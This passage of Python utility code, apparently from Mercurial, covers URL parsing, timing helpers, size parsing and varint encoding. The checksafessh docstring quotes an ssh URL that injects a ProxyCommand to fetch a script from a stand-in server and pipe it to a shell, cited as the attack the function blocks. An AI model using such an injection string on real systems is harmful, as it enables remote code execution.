                 line += buf
                 if b'\n' in buf:
                     splitted = line.splitlines(True)
                     line = b''
                     for l in splitted:
                         if l[-1] == b'\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if isinstance(map, dict) and skip is not None:
             for f, s in pycompat.iteritems(map):
                 if s[0] != skip:
                     addpath(f)
         elif skip is not None:
             raise error.ProgrammingError(
                 b"skip character is only supported with a dict source"
             )
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 if rustdirs is not None:
     dirs = rustdirs
 
 
 def finddirs(path):
     pos = path.rfind(b'/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind(b'/', 0, pos)
     yield b''
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7